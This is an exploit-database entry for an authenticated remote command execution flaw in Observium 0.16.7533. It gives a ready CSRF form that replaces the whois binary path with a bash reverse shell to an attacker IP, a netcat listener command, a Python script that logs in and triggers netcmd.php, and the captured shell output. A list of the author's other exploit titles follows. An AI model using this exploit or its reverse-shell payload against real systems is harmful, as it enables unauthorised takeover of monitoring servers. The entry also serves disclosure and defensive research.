Menu

Search for hundreds of thousands of exploits

"Observium 0.16.7533 - (Authenticated) Arbitrary Command Execution"

Author

Exploit author

"Dolev Farhi"

Platform

Exploit platform

php

Release date

Exploit published date

2016-04-29

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
# Exploit title: Observium Commercial - Authenticated RCE
# Author: Dolev Farhi
# Contact: dolevf at protonmail.com
# Date: 28-04-2016
# Vendor homepage: http://observium.org/
# Software version: CE 0.16.7533

Authenticated remote code execution
Using either CSRF or by editing the whois binary field in the Observium webui under Settings-> System Path, an attacker may also change the Path to either [whois, mtr, nmap] to any bash command, and by hitting the url: http://<ObserviumIP>/netcmd.php?cmd=whois&query=8.8.8.8
using any user on Observium (even low privileged) we can trigger a code execution. for example. setting up a listener

root@pt:~# nc -lvp 4444
listening on [any] 4444 ...

and a CSRF which looks like this:

<!-- 
<html>
<div align="center">
<pre>
 
<h2><b>CSRF<b></h2>
<body>
<form
action="http://<observiumIP>/settings/section=paths/"
method="POST">
<input type="hidden" name="temp_dir" value="" />
<input type="hidden" name="varset_temp_dir" value="" />
<input type="hidden" name="varset_rrdtool" value="" />
<input type="hidden" name="fping" value="" />
<input type="hidden" name="varset_fping" value="" />
<input type="hidden" name="fping6" value="" />
<input type="hidden" name="varset_fping6" value="" />
<input type="hidden" name="svn" value="" />
<input type="hidden" name="varset_svn" value="" />
<input type="hidden" name="snmpget" value="" />
<input type="hidden" name="varset_snmpget" value="" />
<input type="hidden" name="snmpwalk" value="" />
<input type="hidden" name="varset_snmpwalk" value="" />
<input type="hidden" name="snmpbulkget" value="" />
<input type="hidden" name="varset_snmpbulkget" value="" />
<input type="hidden" name="snmpbulkwalk" value="" />
<input type="hidden" name="varset_snmpbulkwalk" value="" />
<input type="hidden" name="snmptranslate" value="" />
<input type="hidden" name="varset_snmptranslate" value="" />
<input type="hidden" name="ipmitool" value="" />
<input type="hidden" name="varset_ipmitool" value="" />
<input type="hidden" name="virsh" value="" />
<input type="hidden" name="varset_virsh" value="" />
<input type="hidden" name="wmic" value="" />
<input type="hidden" name="varset_wmic" value="" />
<input type="hidden" name="git" value="" />
<input type="hidden" name="varset_git" value="" />
<input type="hidden" name="whois" value="bash -i >& /dev/tcp/192.168.2.222/4444 0>&1; exit" />
<input type="hidden" name="varset_whois" value="" />
<input type="hidden" name="whois_custom" value="1" />
<input type="hidden" name="file" value="" />
<input type="hidden" name="varset_file" value="" />
<input type="hidden" name="dot" value="" />
<input type="hidden" name="varset_dot" value="" />
<input type="submit" name="submit" value="save" />
    </form>
    </body>
</div>
</html>

or by changing the field of Path to 'whois' binary to 'bash -i >& /dev/tcp/attackerip/4444 0>&1; exit'  and then visiting http://observium-server/netcmd.php?cmd=whois&query=8.8.8.8, we trigger the code that is defined in the 
whois parameter which gives us a reverse shell on the machine:

you may also use the following python instead:

"""
import sys
import urllib
import urllib2
import cookielib

#!/usr/bin/python 
username = 'test'
password = '123456'
timeout = 10

try:
    cj = cookielib.CookieJar()
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
    login_data = urllib.urlencode({'username' : username, 'password' : password, 'submit' : ''})
    opener.open('http://observium-server', login_data, timeout=timeout)
    url = 'http://observium-server/netcmd.php?cmd=whois&query=8.8.8.8'
    resp = opener.open(url)

except Exception, e:
    print e
    sys.exit(1)
"""

listening on [any] 4444 ...
192.168.2.155: inverse host lookup failed: Unknown host
connect to [192.168.2.222] from (UNKNOWN) [192.168.2.155] 52413
bash: no job control in this shell
bash: /root/.bashrc: Permission denied
bash-4.1$ ls -l /opt
ls -l /opt
total 48944
drwxrwxr-x  12 1000 1000     4096 Apr 27 13:47 observium
-rw-r--r--   1 root root 50107191 Jan 27 07:35 observium-community-latest.tar.gz
drwxr-xr-x.  2 root root     4096 Mar 26  2015 rh
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-11-19 "M/Monit 3.7.4 - Password Disclosure" webapps multiple "Dolev Farhi"
2020-11-19 "M/Monit 3.7.4 - Privilege Escalation" webapps multiple "Dolev Farhi"
2020-05-01 "VirtualTablet Server 3.0.2 - Denial of Service (PoC)" dos windows "Dolev Farhi"
2019-02-18 "M/Monit 3.7.2 - Privilege Escalation" webapps multiple "Dolev Farhi"
2018-06-18 "RabbitMQ Web Management < 3.7.6 - Cross-Site Request Forgery (Add Admin)" webapps linux "Dolev Farhi"
2018-06-11 "userSpice 4.3.24 - 'X-Forwarded-For' Cross-Site Scripting" webapps php "Dolev Farhi"
2018-06-11 "userSpice 4.3.24 - Username Enumeration" webapps php "Dolev Farhi"
2018-02-16 "UserSpice 4.3 - Blind SQL Injection" webapps php "Dolev Farhi"
2018-02-14 "userSpice 4.3 - Cross-Site Scripting" webapps php "Dolev Farhi"
2017-03-16 "Cobbler 2.8.0 - (Authenticated) Remote Code Execution" webapps linux "Dolev Farhi"
2016-08-04 "ntop-ng 2.5.160805 - Username Enumeration" webapps multiple "Dolev Farhi"
2016-04-29 "Observium 0.16.7533 - (Authenticated) Arbitrary Command Execution" webapps php "Dolev Farhi"
2016-04-29 "Observium 0.16.7533 - Cross-Site Request Forgery" webapps php "Dolev Farhi"
2015-12-01 "ntop-ng 2.0.151021 - Privilege Escalation" webapps multiple "Dolev Farhi"
2015-10-30 "Hitron Router CGN3ACSMR 4.5.8.16 - Arbitrary Code Execution" webapps hardware "Dolev Farhi"
2015-06-12 "Opsview 4.6.2 - Multiple Cross-Site Scripting Vulnerabilities" webapps multiple "Dolev Farhi"
2015-05-20 "ZOC SSH Client - Buffer Overflow (SEH) (PoC)" dos windows "Dolev Farhi"
2014-09-29 "OpenFiler 2.99.1 - Cross-Site Request Forgery" webapps php "Dolev Farhi"
2014-09-20 "M/Monit 3.3.2 - Cross-Site Request Forgery" webapps php "Dolev Farhi"
2014-09-02 "Syslog LogAnalyzer 3.6.5 - Persistent Cross-Site Scripting (Python)" webapps multiple "Dolev Farhi"
2014-07-25 "Zenoss Monitoring System 4.2.5-2108 (x64) - Persistent Cross-Site Scripting" webapps multiple "Dolev Farhi"
2014-07-23 "NETGEAR DGN2200 1.0.0.29_1.7.29_HotS - Password Disclosure" webapps hardware "Dolev Farhi"
2014-05-25 "User Cake - Cross-Site Request Forgery" webapps php "Dolev Farhi"
2014-05-24 "Mayan-EDms Web-Based Document Management OS System - Multiple Persistent Cross-Site Scripting Vulnerabilities" webapps multiple "Dolev Farhi"
2014-05-12 "SpiceWorks 7.2.00174 - Persistent Cross-Site Scripting" webapps windows "Dolev Farhi"
2014-05-08 "OpenFiler 2.99.1 - Arbitrary Code Execution" webapps hardware "Dolev Farhi"
2014-05-08 "Cobbler 2.4.x < 2.6.x - Local File Inclusion" webapps php "Dolev Farhi"
2014-05-08 "OpenFiler 2.99.1 - Multiple Persistent Cross-Site Scripting Vulnerabilities" webapps hardware "Dolev Farhi"
2014-05-01 "NETGEAR DGN2200 1.0.0.29_1.7.29_HotS - Persistent Cross-Site Scripting" webapps hardware "Dolev Farhi"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.